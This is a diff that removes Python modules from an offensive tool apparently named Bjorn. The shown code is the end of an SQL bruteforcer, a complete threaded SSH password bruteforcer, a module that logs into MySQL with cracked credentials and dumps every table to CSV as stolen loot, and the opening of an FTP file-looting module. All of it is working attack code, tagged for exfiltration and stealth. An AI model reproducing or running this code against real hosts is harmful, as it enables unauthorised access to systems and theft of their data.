(password or "", hostname or None, mac_k, ip_k, user_k, db_k, port_k),
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"fallback upsert_cred failed for {ip} {user}: {e}")
|
||||
|
||||
# ---------- worker / queue ----------
|
||||
def worker(self, success_flag):
|
||||
"""Worker thread to process SQL bruteforce attempts."""
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||
break
|
||||
|
||||
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||
try:
|
||||
success, databases = self.sql_connect(adresse_ip, user, password, port=port)
|
||||
if success:
|
||||
with self.lock:
|
||||
for dbname in databases:
|
||||
self.results.append([adresse_ip, user, password, port, dbname])
|
||||
logger.success(f"Found credentials IP:{adresse_ip} | User:{user} | Password:{password}")
|
||||
logger.success(f"Databases found: {', '.join(databases)}")
|
||||
self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port), "databases": str(len(databases))}
|
||||
self.save_results()
|
||||
self.remove_duplicates()
|
||||
success_flag[0] = True
|
||||
finally:
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
self.queue.task_done()
|
||||
|
||||
# Optional delay between attempts
|
||||
if getattr(self.shared_data, "timewait_sql", 0) > 0:
|
||||
time.sleep(self.shared_data.timewait_sql)
|
||||
|
||||
|
||||
def run_bruteforce(self, adresse_ip: str, port: int):
|
||||
self.results = []
|
||||
mac_address = self.mac_for_ip(adresse_ip)
|
||||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||
if total_tasks == 0:
|
||||
logger.warning("No users/passwords loaded. Abort.")
|
||||
return False, []
|
||||
|
||||
self.progress = ProgressTracker(self.shared_data, total_tasks)
|
||||
success_flag = [False]
|
||||
|
||||
def run_phase(passwords):
|
||||
phase_tasks = len(self.users) * len(passwords)
|
||||
if phase_tasks == 0:
|
||||
return
|
||||
|
||||
for user in self.users:
|
||||
for password in passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
threads = []
|
||||
thread_count = min(8, max(1, phase_tasks))
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
try:
|
||||
run_phase(dict_passwords)
|
||||
if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(
|
||||
f"SQL dictionary phase failed on {adresse_ip}:{port}. "
|
||||
f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
|
||||
)
|
||||
run_phase(fallback_passwords)
|
||||
self.progress.set_complete()
|
||||
logger.info(f"Bruteforcing complete with success status: {success_flag[0]}")
|
||||
return success_flag[0], self.results
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
# ---------- persistence DB ----------
|
||||
def save_results(self):
|
||||
# For each DB found, create/update a row in creds (service='sql', database=<dbname>)
|
||||
for ip, user, password, port, dbname in self.results:
|
||||
mac = self.mac_for_ip(ip)
|
||||
hostname = self.hostname_for_ip(ip) or ""
|
||||
try:
|
||||
self.shared_data.db.insert_cred(
|
||||
service="sql",
|
||||
mac=mac,
|
||||
ip=ip,
|
||||
hostname=hostname,
|
||||
user=user,
|
||||
password=password,
|
||||
port=port,
|
||||
database=dbname,
|
||||
extra=None
|
||||
)
|
||||
except Exception as e:
|
||||
if "ON CONFLICT clause does not match" in str(e):
|
||||
self._fallback_upsert_cred(
|
||||
mac=mac, ip=ip, hostname=hostname, user=user,
|
||||
password=password, port=port, database=dbname
|
||||
)
|
||||
else:
|
||||
logger.error(f"insert_cred failed for {ip} {user} db={dbname}: {e}")
|
||||
self.results = []
|
||||
|
||||
def remove_duplicates(self):
|
||||
# No longer needed with unique index; kept for compat.
|
||||
pass
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
try:
|
||||
sd = SharedData()
|
||||
sql_bruteforce = SQLBruteforce(sd)
|
||||
logger.info("SQL brute force module ready.")
|
||||
exit(0)
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
|
||||
@@ -1,340 +0,0 @@
|
||||
"""ssh_bruteforce.py - Threaded SSH credential bruteforcer via paramiko."""
|
||||
|
||||
import os
|
||||
import paramiko
|
||||
import socket
|
||||
import threading
|
||||
import logging
|
||||
import time
|
||||
import datetime
|
||||
|
||||
from queue import Queue
|
||||
from shared import SharedData
|
||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="ssh_bruteforce.py", level=logging.DEBUG)
|
||||
|
||||
# Silence Paramiko internals
|
||||
for _name in ("paramiko", "paramiko.transport", "paramiko.client", "paramiko.hostkeys",
|
||||
"paramiko.kex", "paramiko.auth_handler"):
|
||||
logging.getLogger(_name).setLevel(logging.CRITICAL)
|
||||
|
||||
b_class = "SSHBruteforce"
|
||||
b_module = "ssh_bruteforce"
|
||||
b_status = "brute_force_ssh"
|
||||
b_port = 22
|
||||
b_service = '["ssh"]'
|
||||
b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]'
|
||||
b_parent = None
|
||||
b_priority = 70
|
||||
b_cooldown = 1800 # 30 min between runs
|
||||
b_rate_limit = '3/86400' # max 3 per day
|
||||
b_enabled = 1
|
||||
b_action = "normal"
|
||||
b_timeout = 600
|
||||
b_max_retries = 2
|
||||
b_stealth_level = 3
|
||||
b_risk_level = "medium"
|
||||
b_tags = ["bruteforce", "ssh", "credentials"]
|
||||
b_category = "exploitation"
|
||||
b_name = "SSH Bruteforce"
|
||||
b_description = "Threaded SSH credential bruteforcer via paramiko with dictionary and exhaustive modes."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "SSHBruteforce.png"
|
||||
|
||||
|
||||
class SSHBruteforce:
|
||||
"""Wrapper called by the orchestrator."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
self.ssh_bruteforce = SSHConnector(shared_data)
|
||||
logger.info("SSHConnector initialized.")
|
||||
|
||||
def bruteforce_ssh(self, ip, port):
|
||||
"""Run the SSH brute force attack on the given IP and port."""
|
||||
logger.info(f"Running bruteforce_ssh on {ip}:{port}...")
|
||||
return self.ssh_bruteforce.run_bruteforce(ip, port)
|
||||
|
||||
def execute(self, ip, port, row, status_key):
|
||||
"""Execute the brute force attack and update status (for UI badge)."""
|
||||
logger.info(f"Executing SSHBruteforce on {ip}:{port}...")
|
||||
self.shared_data.bjorn_orch_status = "SSHBruteforce"
|
||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": port}
|
||||
|
||||
success, results = self.bruteforce_ssh(ip, port)
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
|
||||
class SSHConnector:
|
||||
"""Handles the connection attempts and DB persistence."""
|
||||
|
||||
def __init__(self, shared_data):
|
||||
self.shared_data = shared_data
|
||||
|
||||
# Load wordlists (unchanged behavior)
|
||||
self.users = self._read_lines(shared_data.users_file)
|
||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||
|
||||
# Build initial IP -> (MAC, hostname) cache from DB
|
||||
self._ip_to_identity = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
|
||||
self.lock = threading.Lock()
|
||||
self.results = [] # List of tuples (mac, ip, hostname, user, password, port)
|
||||
self.queue = Queue()
|
||||
self.progress = None
|
||||
|
||||
# ---- Mapping helpers (DB) ------------------------------------------------
|
||||
|
||||
def _refresh_ip_identity_cache(self):
|
||||
"""Load IPs from DB and map them to (mac, current_hostname)."""
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str):
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str):
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# ---- File utils ----------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _read_lines(path: str):
|
||||
try:
|
||||
with open(path, "r", encoding="utf-8", errors="ignore") as f:
|
||||
return [l.rstrip("\n\r") for l in f if l.strip()]
|
||||
except Exception as e:
|
||||
logger.error(f"Cannot read file {path}: {e}")
|
||||
return []
|
||||
|
||||
# ---- SSH core ------------------------------------------------------------
|
||||
|
||||
def ssh_connect(self, adresse_ip, user, password, port=b_port, timeout=10):
|
||||
"""Attempt to connect to SSH using (user, password)."""
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
timeout = float(getattr(self.shared_data, "ssh_connect_timeout_s", timeout))
|
||||
|
||||
try:
|
||||
ssh.connect(
|
||||
hostname=adresse_ip,
|
||||
username=user,
|
||||
password=password,
|
||||
port=port,
|
||||
timeout=timeout,
|
||||
auth_timeout=timeout,
|
||||
banner_timeout=timeout,
|
||||
look_for_keys=False, # avoid slow key probing
|
||||
allow_agent=False, # avoid SSH agent delays
|
||||
)
|
||||
return True
|
||||
except (paramiko.AuthenticationException, socket.timeout, socket.error, paramiko.SSHException):
|
||||
return False
|
||||
except Exception as e:
|
||||
logger.debug(f"SSH connect unexpected error {adresse_ip} {user}: {e}")
|
||||
return False
|
||||
finally:
|
||||
try:
|
||||
ssh.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# ---- Robust DB upsert fallback ------------------------------------------
|
||||
|
||||
def _fallback_upsert_cred(self, *, mac, ip, hostname, user, password, port, database=None):
|
||||
"""
|
||||
Insert-or-update without relying on ON CONFLICT columns.
|
||||
Works even if your UNIQUE index uses expressions (e.g., COALESCE()).
|
||||
"""
|
||||
mac_k = mac or ""
|
||||
ip_k = ip or ""
|
||||
user_k = user or ""
|
||||
db_k = database or ""
|
||||
port_k = int(port or 0)
|
||||
|
||||
try:
|
||||
with self.shared_data.db.transaction(immediate=True):
|
||||
# 1) Insert if missing
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
INSERT OR IGNORE INTO creds(service,mac_address,ip,hostname,"user","password",port,"database",extra)
|
||||
VALUES('ssh',?,?,?,?,?,?,?,NULL)
|
||||
""",
|
||||
(mac_k, ip_k, hostname or "", user_k, password or "", port_k, db_k),
|
||||
)
|
||||
# 2) Update password/hostname if present (or just inserted)
|
||||
self.shared_data.db.execute(
|
||||
"""
|
||||
UPDATE creds
|
||||
SET "password"=?,
|
||||
hostname=COALESCE(?, hostname),
|
||||
last_seen=CURRENT_TIMESTAMP
|
||||
WHERE service='ssh'
|
||||
AND COALESCE(mac_address,'')=?
|
||||
AND COALESCE(ip,'')=?
|
||||
AND COALESCE("user",'')=?
|
||||
AND COALESCE(COALESCE("database",""),'')=?
|
||||
AND COALESCE(port,0)=?
|
||||
""",
|
||||
(password or "", hostname or None, mac_k, ip_k, user_k, db_k, port_k),
|
||||
)
|
||||
except Exception as e:
|
||||
logger.error(f"fallback upsert_cred failed for {ip} {user}: {e}")
|
||||
|
||||
# ---- Worker / Queue / Threads -------------------------------------------
|
||||
|
||||
def worker(self, success_flag):
|
||||
"""Worker thread to process items in the queue (bruteforce attempts)."""
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||
break
|
||||
|
||||
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||
try:
|
||||
if self.ssh_connect(adresse_ip, user, password, port=port):
|
||||
with self.lock:
|
||||
# Persist success into DB.creds
|
||||
try:
|
||||
self.shared_data.db.insert_cred(
|
||||
service="ssh",
|
||||
mac=mac_address,
|
||||
ip=adresse_ip,
|
||||
hostname=hostname,
|
||||
user=user,
|
||||
password=password,
|
||||
port=port,
|
||||
database=None,
|
||||
extra=None
|
||||
)
|
||||
except Exception as e:
|
||||
# Specific fix: fallback manual upsert
|
||||
if "ON CONFLICT clause does not match" in str(e):
|
||||
self._fallback_upsert_cred(
|
||||
mac=mac_address,
|
||||
ip=adresse_ip,
|
||||
hostname=hostname,
|
||||
user=user,
|
||||
password=password,
|
||||
port=port,
|
||||
database=None
|
||||
)
|
||||
else:
|
||||
logger.error(f"insert_cred failed for {adresse_ip} {user}: {e}")
|
||||
|
||||
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
|
||||
logger.success(f"Found credentials IP: {adresse_ip} | User: {user} | Password: {password}")
|
||||
self.shared_data.comment_params = {"user": user, "ip": adresse_ip, "port": str(port)}
|
||||
success_flag[0] = True
|
||||
|
||||
finally:
|
||||
if self.progress is not None:
|
||||
self.progress.advance(1)
|
||||
self.queue.task_done()
|
||||
|
||||
# Optional delay between attempts
|
||||
if getattr(self.shared_data, "timewait_ssh", 0) > 0:
|
||||
time.sleep(self.shared_data.timewait_ssh)
|
||||
|
||||
|
||||
|
||||
def run_bruteforce(self, adresse_ip, port):
|
||||
"""
|
||||
Called by the orchestrator with a single IP + port.
|
||||
Builds the queue (users x passwords) and launches threads.
|
||||
"""
|
||||
self.results = []
|
||||
mac_address = self.mac_for_ip(adresse_ip)
|
||||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||
|
||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||
if total_tasks == 0:
|
||||
logger.warning("No users/passwords loaded. Abort.")
|
||||
return False, []
|
||||
|
||||
self.progress = ProgressTracker(self.shared_data, total_tasks)
|
||||
success_flag = [False]
|
||||
|
||||
def run_phase(passwords):
|
||||
phase_tasks = len(self.users) * len(passwords)
|
||||
if phase_tasks == 0:
|
||||
return
|
||||
|
||||
for user in self.users:
|
||||
for password in passwords:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||
return
|
||||
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||
|
||||
threads = []
|
||||
thread_count = min(8, max(1, phase_tasks))
|
||||
for _ in range(thread_count):
|
||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||
t.start()
|
||||
threads.append(t)
|
||||
|
||||
# Drain queue if orchestrator exit is requested, to unblock join
|
||||
while not self.queue.empty():
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
# Discard remaining items so workers can finish
|
||||
while not self.queue.empty():
|
||||
try:
|
||||
self.queue.get_nowait()
|
||||
self.queue.task_done()
|
||||
except Exception:
|
||||
break
|
||||
break
|
||||
time.sleep(0.5)
|
||||
self.queue.join()
|
||||
for t in threads:
|
||||
t.join()
|
||||
|
||||
try:
|
||||
run_phase(dict_passwords)
|
||||
if (not success_flag[0]) and fallback_passwords and not self.shared_data.orchestrator_should_exit:
|
||||
logger.info(
|
||||
f"SSH dictionary phase failed on {adresse_ip}:{port}. "
|
||||
f"Starting exhaustive fallback ({len(fallback_passwords)} passwords)."
|
||||
)
|
||||
run_phase(fallback_passwords)
|
||||
self.progress.set_complete()
|
||||
return success_flag[0], self.results
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
shared_data = SharedData()
|
||||
try:
|
||||
ssh_bruteforce = SSHBruteforce(shared_data)
|
||||
logger.info("SSH brute force module ready.")
|
||||
exit(0)
|
||||
except Exception as e:
|
||||
logger.error(f"Error: {e}")
|
||||
exit(1)
|
||||
@@ -1,259 +0,0 @@
|
||||
"""steal_data_sql.py - Exfiltrate MySQL databases as CSV after successful bruteforce."""
|
||||
|
||||
import os
|
||||
import logging
|
||||
import time
|
||||
import csv
|
||||
|
||||
from threading import Timer
|
||||
from typing import List, Tuple, Dict, Optional
|
||||
from sqlalchemy import create_engine, text
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="steal_data_sql.py", level=logging.DEBUG)
|
||||
|
||||
b_class = "StealDataSQL"
|
||||
b_module = "steal_data_sql"
|
||||
b_status = "steal_data_sql"
|
||||
b_parent = "SQLBruteforce"
|
||||
b_port = 3306
|
||||
b_trigger = 'on_any:["on_cred_found:sql","on_service:sql"]'
|
||||
b_requires = '{"all":[{"has_cred":"sql"},{"has_port":3306},{"max_concurrent":2}]}'
|
||||
# Scheduling / limits
|
||||
b_priority = 60 # 0..100 (higher processed first in this schema)
|
||||
b_timeout = 900 # seconds before a pending queue item expires
|
||||
b_max_retries = 1 # minimal retries; avoid noisy re-runs
|
||||
b_cooldown = 86400 # seconds (per-host cooldown between runs)
|
||||
b_rate_limit = "1/86400" # at most 3 executions/day per host (extra guard)
|
||||
# Risk / hygiene
|
||||
b_stealth_level = 6 # 1..10 (higher = more stealthy)
|
||||
b_risk_level = "high" # 'low' | 'medium' | 'high'
|
||||
b_enabled = 1 # set to 0 to disable from DB sync
|
||||
# Tags (free taxonomy, JSON-ified by sync_actions)
|
||||
b_tags = ["exfil", "sql", "loot", "db", "mysql"]
|
||||
b_category = "exfiltration"
|
||||
b_name = "Steal Data SQL"
|
||||
b_description = "Exfiltrate MySQL databases as CSV after successful credential bruteforce."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "StealDataSQL.png"
|
||||
|
||||
class StealDataSQL:
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
self.sql_connected = False
|
||||
self.stop_execution = False
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
logger.info("StealDataSQL initialized.")
|
||||
|
||||
# -------- Identity cache (hosts) --------
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# -------- Credentials (creds table) --------
|
||||
def _get_creds_for_target(self, ip: str, port: int) -> List[Tuple[str, str, Optional[str]]]:
|
||||
"""
|
||||
Return list[(user,password,database)] for SQL service.
|
||||
Prefer exact IP; also include by MAC if known. Dedup by (u,p,db).
|
||||
"""
|
||||
mac = self.mac_for_ip(ip)
|
||||
params = {"ip": ip, "port": port, "mac": mac or ""}
|
||||
|
||||
by_ip = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user","password","database"
|
||||
FROM creds
|
||||
WHERE service='sql'
|
||||
AND COALESCE(ip,'')=:ip
|
||||
AND (port IS NULL OR port=:port)
|
||||
""", params)
|
||||
|
||||
by_mac = []
|
||||
if mac:
|
||||
by_mac = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user","password","database"
|
||||
FROM creds
|
||||
WHERE service='sql'
|
||||
AND COALESCE(mac_address,'')=:mac
|
||||
AND (port IS NULL OR port=:port)
|
||||
""", params)
|
||||
|
||||
seen, out = set(), []
|
||||
for row in (by_ip + by_mac):
|
||||
u = str(row.get("user") or "").strip()
|
||||
p = str(row.get("password") or "").strip()
|
||||
d = row.get("database")
|
||||
d = str(d).strip() if d is not None else None
|
||||
key = (u, p, d or "")
|
||||
if not u or (key in seen):
|
||||
continue
|
||||
seen.add(key)
|
||||
out.append((u, p, d))
|
||||
return out
|
||||
|
||||
# -------- SQL helpers --------
|
||||
def connect_sql(self, ip: str, username: str, password: str, database: Optional[str] = None):
|
||||
try:
|
||||
db_part = f"/{database}" if database else ""
|
||||
conn_str = f"mysql+pymysql://{username}:{password}@{ip}:{b_port}{db_part}"
|
||||
engine = create_engine(conn_str, connect_args={"connect_timeout": 10})
|
||||
# quick test
|
||||
with engine.connect() as _:
|
||||
pass
|
||||
self.sql_connected = True
|
||||
logger.info(f"Connected SQL {ip} as {username}" + (f" db={database}" if database else ""))
|
||||
return engine
|
||||
except Exception as e:
|
||||
logger.error(f"SQL connect error {ip} {username}" + (f" db={database}" if database else "") + f": {e}")
|
||||
return None
|
||||
|
||||
|
||||
|
||||
def find_tables(self, engine):
|
||||
"""
|
||||
Returns list of (table_name, schema_name) excluding system schemas.
|
||||
"""
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Table search interrupted.")
|
||||
return []
|
||||
q = text("""
|
||||
SELECT TABLE_NAME, TABLE_SCHEMA
|
||||
FROM INFORMATION_SCHEMA.TABLES
|
||||
WHERE TABLE_TYPE='BASE TABLE'
|
||||
AND TABLE_SCHEMA NOT IN ('information_schema','mysql','performance_schema','sys')
|
||||
""")
|
||||
with engine.connect() as conn:
|
||||
rows = conn.execute(q).fetchall()
|
||||
return [(r[0], r[1]) for r in rows]
|
||||
except Exception as e:
|
||||
logger.error(f"find_tables error: {e}")
|
||||
return []
|
||||
|
||||
|
||||
def steal_data(self, engine, table: str, schema: str, local_dir: str) -> None:
|
||||
try:
|
||||
if self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Data steal interrupted.")
|
||||
return
|
||||
|
||||
# Validate identifiers to prevent SQL injection
|
||||
import re as _re
|
||||
if not _re.match(r'^[a-zA-Z0-9_]+$', schema) or not _re.match(r'^[a-zA-Z0-9_]+$', table):
|
||||
logger.warning(f"Skipping unsafe schema/table name: {schema}.{table}")
|
||||
return
|
||||
q = text(f"SELECT * FROM `{schema}`.`{table}`")
|
||||
with engine.connect() as conn:
|
||||
result = conn.execute(q)
|
||||
headers = result.keys()
|
||||
|
||||
os.makedirs(local_dir, exist_ok=True)
|
||||
out = os.path.join(local_dir, f"{schema}_{table}.csv")
|
||||
|
||||
with open(out, "w", newline="", encoding="utf-8") as f:
|
||||
writer = csv.writer(f)
|
||||
writer.writerow(headers)
|
||||
for row in result:
|
||||
writer.writerow(row)
|
||||
|
||||
logger.success(f"Dumped {schema}.{table} -> {out}")
|
||||
except Exception as e:
|
||||
logger.error(f"Dump error {schema}.{table}: {e}")
|
||||
|
||||
|
||||
# -------- Orchestrator entry --------
|
||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||
try:
|
||||
self.shared_data.bjorn_orch_status = b_class
|
||||
# EPD live status
|
||||
self.shared_data.comment_params = {"ip": ip, "port": str(port), "databases": "0", "tables": "0"}
|
||||
try:
|
||||
port_i = int(port)
|
||||
except Exception:
|
||||
port_i = b_port
|
||||
|
||||
creds = self._get_creds_for_target(ip, port_i)
|
||||
logger.info(f"Found {len(creds)} SQL credentials in DB for {ip}")
|
||||
if not creds:
|
||||
logger.error(f"No SQL credentials for {ip}. Skipping.")
|
||||
return 'failed'
|
||||
|
||||
def _timeout():
|
||||
if not self.sql_connected:
|
||||
logger.error(f"No SQL connection within 4 minutes for {ip}. Failing.")
|
||||
self.stop_execution = True
|
||||
|
||||
timer = Timer(240, _timeout)
|
||||
timer.start()
|
||||
|
||||
mac = (row or {}).get("MAC Address") or self.mac_for_ip(ip) or "UNKNOWN"
|
||||
success = False
|
||||
|
||||
for username, password, _db in creds:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
try:
|
||||
base_engine = self.connect_sql(ip, username, password, database=None)
|
||||
if not base_engine:
|
||||
continue
|
||||
|
||||
tables = self.find_tables(base_engine)
|
||||
if not tables:
|
||||
continue
|
||||
|
||||
for table, schema in tables:
|
||||
if self.stop_execution or self.shared_data.orchestrator_should_exit:
|
||||
logger.info("Execution interrupted.")
|
||||
break
|
||||
db_engine = self.connect_sql(ip, username, password, database=schema)
|
||||
if not db_engine:
|
||||
continue
|
||||
local_dir = os.path.join(self.shared_data.data_stolen_dir, f"sql/{mac}_{ip}/{schema}")
|
||||
self.steal_data(db_engine, table, schema, local_dir)
|
||||
|
||||
logger.success(f"Stole data from {len(tables)} tables on {ip}")
|
||||
success = True
|
||||
timer.cancel()
|
||||
return 'success'
|
||||
except Exception as e:
|
||||
logger.error(f"SQL loot error {ip} {username}: {e}")
|
||||
|
||||
timer.cancel()
|
||||
return 'success' if success else 'failed'
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||
return 'failed'
|
||||
finally:
|
||||
self.shared_data.bjorn_progress = ""
|
||||
self.shared_data.comment_params = {}
|
||||
@@ -1,285 +0,0 @@
|
||||
"""steal_files_ftp.py - Loot files from FTP servers using cracked or anonymous credentials."""
|
||||
|
||||
import os
|
||||
import logging
|
||||
import time
|
||||
from threading import Timer
|
||||
from typing import List, Tuple, Dict, Optional
|
||||
from ftplib import FTP
|
||||
|
||||
from shared import SharedData
|
||||
from logger import Logger
|
||||
|
||||
logger = Logger(name="steal_files_ftp.py", level=logging.DEBUG)
|
||||
|
||||
# Action descriptors
|
||||
b_class = "StealFilesFTP"
|
||||
b_module = "steal_files_ftp"
|
||||
b_status = "steal_files_ftp"
|
||||
b_parent = "FTPBruteforce"
|
||||
b_port = 21
|
||||
b_enabled = 1
|
||||
b_action = "normal"
|
||||
b_service = '["ftp"]'
|
||||
b_trigger = 'on_any:["on_cred_found:ftp","on_service:ftp"]'
|
||||
b_requires = '{"all":[{"has_cred":"ftp"},{"has_port":21}]}'
|
||||
b_priority = 60
|
||||
b_cooldown = 3600
|
||||
b_timeout = 600
|
||||
b_stealth_level = 5
|
||||
b_risk_level = "high"
|
||||
b_max_retries = 1
|
||||
b_tags = ["exfil", "ftp", "loot", "files"]
|
||||
b_category = "exfiltration"
|
||||
b_name = "Steal Files FTP"
|
||||
b_description = "Loot files from FTP servers using cracked or anonymous credentials."
|
||||
b_author = "Bjorn Team"
|
||||
b_version = "2.0.0"
|
||||
b_icon = "StealFilesFTP.png"
|
||||
|
||||
|
||||
class StealFilesFTP:
|
||||
def __init__(self, shared_data: SharedData):
|
||||
self.shared_data = shared_data
|
||||
self.ftp_connected = False
|
||||
self.stop_execution = False
|
||||
self._ip_to_identity: Dict[str, Tuple[Optional[str], Optional[str]]] = {}
|
||||
self._refresh_ip_identity_cache()
|
||||
logger.info("StealFilesFTP initialized")
|
||||
|
||||
# -------- Identity cache (hosts) --------
|
||||
def _refresh_ip_identity_cache(self) -> None:
|
||||
self._ip_to_identity.clear()
|
||||
try:
|
||||
rows = self.shared_data.db.get_all_hosts()
|
||||
except Exception as e:
|
||||
logger.error(f"DB get_all_hosts failed: {e}")
|
||||
rows = []
|
||||
|
||||
for r in rows:
|
||||
mac = r.get("mac_address") or ""
|
||||
if not mac:
|
||||
continue
|
||||
hostnames_txt = r.get("hostnames") or ""
|
||||
current_hn = hostnames_txt.split(';', 1)[0] if hostnames_txt else ""
|
||||
ips_txt = r.get("ips") or ""
|
||||
if not ips_txt:
|
||||
continue
|
||||
for ip in [p.strip() for p in ips_txt.split(';') if p.strip()]:
|
||||
self._ip_to_identity[ip] = (mac, current_hn)
|
||||
|
||||
def mac_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[0]
|
||||
|
||||
def hostname_for_ip(self, ip: str) -> Optional[str]:
|
||||
if ip not in self._ip_to_identity:
|
||||
self._refresh_ip_identity_cache()
|
||||
return self._ip_to_identity.get(ip, (None, None))[1]
|
||||
|
||||
# -------- Credentials (creds table) --------
|
||||
def _get_creds_for_target(self, ip: str, port: int) -> List[Tuple[str, str]]:
|
||||
"""
|
||||
Return list[(user,password)] from DB.creds for this target.
|
||||
Prefer exact IP; also include by MAC if known. Dedup preserves order.
|
||||
"""
|
||||
mac = self.mac_for_ip(ip)
|
||||
params = {"ip": ip, "port": port, "mac": mac or ""}
|
||||
|
||||
by_ip = self.shared_data.db.query(
|
||||
"""
|
||||
SELECT "user","password"
|
||||
